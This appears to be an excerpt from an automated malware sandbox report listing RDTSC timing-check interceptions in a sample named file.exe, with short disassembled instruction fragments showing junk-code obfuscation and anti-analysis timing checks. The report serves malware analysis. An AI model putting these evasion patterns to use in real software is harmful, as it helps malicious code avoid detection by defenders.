Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D5264 second address: 3D527B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB678E7E6F3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D527B second address: 3D5283 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D7C8E second address: 3D7C94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D7C94 second address: 3D7CCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FB6784C8BE2h 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007FB6784C8BD6h 0x00000012 jmp 00007FB6784C8BE8h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D7CCB second address: 3D7CFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB678E7E6EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB678E7E6F5h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D7CFA second address: 3D7D00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D7D00 second address: 3D7D04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D7D04 second address: 3D7D0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D7D0A second address: 3D7D10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D9C20 second address: 3D9C68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6784C8BE8h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jng 00007FB6784C8BE3h 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007FB6784C8BDBh 0x00000018 popad 0x00000019 push ecx 0x0000001a jmp 00007FB6784C8BE1h 0x0000001f push eax 0x00000020 push edx 0x00000021 push ecx 0x00000022 pop ecx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D9C68 second address: 3D9C6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DD962 second address: 3DD96C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FB6784C8BD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DD96C second address: 3DD970 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DD970 second address: 3DD978 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DF2B4 second address: 3DF2BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DF2BA second address: 3DF2C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DF2C3 second address: 3DF2C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DF2C7 second address: 3DF2CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DC2F1 second address: 2DC2F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DC2F5 second address: 2DC314 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB6784C8BE6h 0x00000008 pushad 0x00000009 popad 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EF821 second address: 3EF82F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB678E7E6EAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4078DE second address: 4078E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4078E5 second address: 4078F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FB678E7E6E6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4078F1 second address: 4078F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4078F5 second address: 4078F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4066D4 second address: 4066DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 406847 second address: 40685B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007FB678E7E6ECh 0x0000000e jc 00007FB678E7E6E6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40685B second address: 406861 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 406861 second address: 406865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 406865 second address: 406869 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 406C5A second address: 406C5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 406F65 second address: 406F69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4073F0 second address: 40740E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FB678E7E6E6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d jmp 00007FB678E7E6F1h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40740E second address: 407416 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 407416 second address: 40741A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 407593 second address: 4075A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6784C8BDCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4075A8 second address: 4075B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40B86F second address: 40B875 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40BB3C second address: 40BB42 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40BBC3 second address: 40BBD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB6784C8BE0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40BBD7 second address: 40BBDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40BBDB second address: 40BC52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 sbb edx, 238B6C37h 0x0000000f push 00000004h 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007FB6784C8BD8h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 00000018h 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b adc dx, AA82h 0x00000030 movsx edx, ax 0x00000033 call 00007FB6784C8BD9h 0x00000038 jmp 00007FB6784C8BE4h 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007FB6784C8BE1h 0x00000044 pop edx 0x00000045 mov eax, dword ptr [esp+04h] 0x00000049 pushad 0x0000004a push eax 0x0000004b push edx 0x0000004c ja 00007FB6784C8BD6h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40BC52 second address: 40BC5C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40BC5C second address: 40BC60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40BC60 second address: 40BC64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40BC64 second address: 40BC77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007FB6784C8BD8h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40D34E second address: 40D35B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnl 00007FB678E7E6E6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40D35B second address: 40D368 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007FB6784C8BD6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40D368 second address: 40D36E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40F28D second address: 40F291 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31D044 second address: 31D04A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31D04A second address: 31D06C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB6784C8BD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007FB6784C8BE0h 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD03AD second address: 4DD03B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD03B3 second address: 4DD03B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD03FF second address: 4DD0408 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 25AAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0408 second address: 4DD0415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0415 second address: 4DD041B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD041B second address: 4DD0420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E003DF second address: 4E00404 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB678E7E6EEh 0x00000009 sub cx, 2228h 0x0000000e jmp 00007FB678E7E6EBh 0x00000013 popfd 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00404 second address: 4E00437 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push edx 0x0000000c pop ecx 0x0000000d pushfd 0x0000000e jmp 00007FB6784C8BDDh 0x00000013 add cx, 1246h 0x00000018 jmp 00007FB6784C8BE1h 0x0000001d popfd 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00437 second address: 4E004A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 4Eh 0x00000005 mov ax, DBEFh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e jmp 00007FB678E7E6F2h 0x00000013 xchg eax, ecx 0x00000014 jmp 00007FB678E7E6F0h 0x00000019 push eax 0x0000001a jmp 00007FB678E7E6EBh 0x0000001f xchg eax, ecx 0x00000020 jmp 00007FB678E7E6F6h 0x00000025 xchg eax, esi 0x00000026 jmp 00007FB678E7E6F0h 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E004A2 second address: 4E004AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movzx ecx, dx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E004AA second address: 4E004B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E004B0 second address: 4E004B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00588 second address: 4E0058E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0058E second address: 4E00592 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00592 second address: 4E0060A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB678E7E6F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [ebp-04h], 00000000h 0x0000000f pushad 0x00000010 push esi 0x00000011 pushfd 0x00000012 jmp 00007FB678E7E6EDh 0x00000017 add esi, 474F7966h 0x0000001d jmp 00007FB678E7E6F1h 0x00000022 popfd 0x00000023 pop esi 0x00000024 pushfd 0x00000025 jmp 00007FB678E7E6F1h 0x0000002a xor eax, 3B07A2C6h 0x00000030 jmp 00007FB678E7E6F1h 0x00000035 popfd 0x00000036 popad 0x00000037 mov esi, eax 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0060A second address: 4E0060E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0060E second address: 4E00614 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00614 second address: 4E0063C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FB6784C8BE0h 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e je 00007FB6784C8C0Fh 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 mov dx, si 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0063C second address: 4E00653 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FB678E7E6F1h 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00673 second address: 4E00691 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB6784C8BE9h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00691 second address: 4E006A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB678E7E6ECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E006A1 second address: 4E006B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB6784C8BDAh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E006B6 second address: 4E006BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0098 second address: 4DF00B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6784C8BE8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF00B4 second address: 4DF00BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF00BA second address: 4DF00BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF00BE second address: 4DF00EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 45F4AF48h 0x0000000d jmp 00007FB678E7E6F6h 0x00000012 xor dword ptr [esp], 305E3100h 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF00EE second address: 4DF00F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF00F2 second address: 4DF00F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF00F8 second address: 4DF0136 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB6784C8BE2h 0x00000008 movzx eax, dx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e call 00007FB6784C8BD9h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FB6784C8BE8h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0136 second address: 4DF0161 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 mov ch, 89h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FB678E7E6F4h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 mov di, 3FB2h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0161 second address: 4DF0208 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FB6784C8BE3h 0x00000008 adc si, 49AEh 0x0000000d jmp 00007FB6784C8BE9h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushfd 0x00000016 jmp 00007FB6784C8BE0h 0x0000001b sub cx, 6B28h 0x00000020 jmp 00007FB6784C8BDBh 0x00000025 popfd 0x00000026 popad 0x00000027 mov eax, dword ptr [eax] 0x00000029 jmp 00007FB6784C8BE9h 0x0000002e mov dword ptr [esp+04h], eax 0x00000032 jmp 00007FB6784C8BE1h 0x00000037 pop eax 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007FB6784C8BE8h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0208 second address: 4DF020E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF020E second address: 4DF021F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB6784C8BDDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF021F second address: 4DF0278 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB678E7E6F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr fs:[00000000h] 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FB678E7E6F3h 0x0000001a sub esi, 0921753Eh 0x00000020 jmp 00007FB678E7E6F9h 0x00000025 popfd 0x00000026 mov ax, 4087h 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0278 second address: 4DF02CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6784C8BDDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b push eax 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f mov dh, cl 0x00000011 popad 0x00000012 push eax 0x00000013 pushad 0x00000014 mov cx, 74BDh 0x00000018 popad 0x00000019 nop 0x0000001a pushad 0x0000001b mov dh, cl 0x0000001d call 00007FB6784C8BE7h 0x00000022 mov ebx, esi 0x00000024 pop esi 0x00000025 popad 0x00000026 sub esp, 18h 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FB6784C8BDEh 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF02CB second address: 4DF02E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB678E7E6EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF02E1 second address: 4DF02E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF02E5 second address: 4DF0300 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB678E7E6F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0300 second address: 4DF032C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6784C8BE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB6784C8BDCh 0x00000011 rdtsc
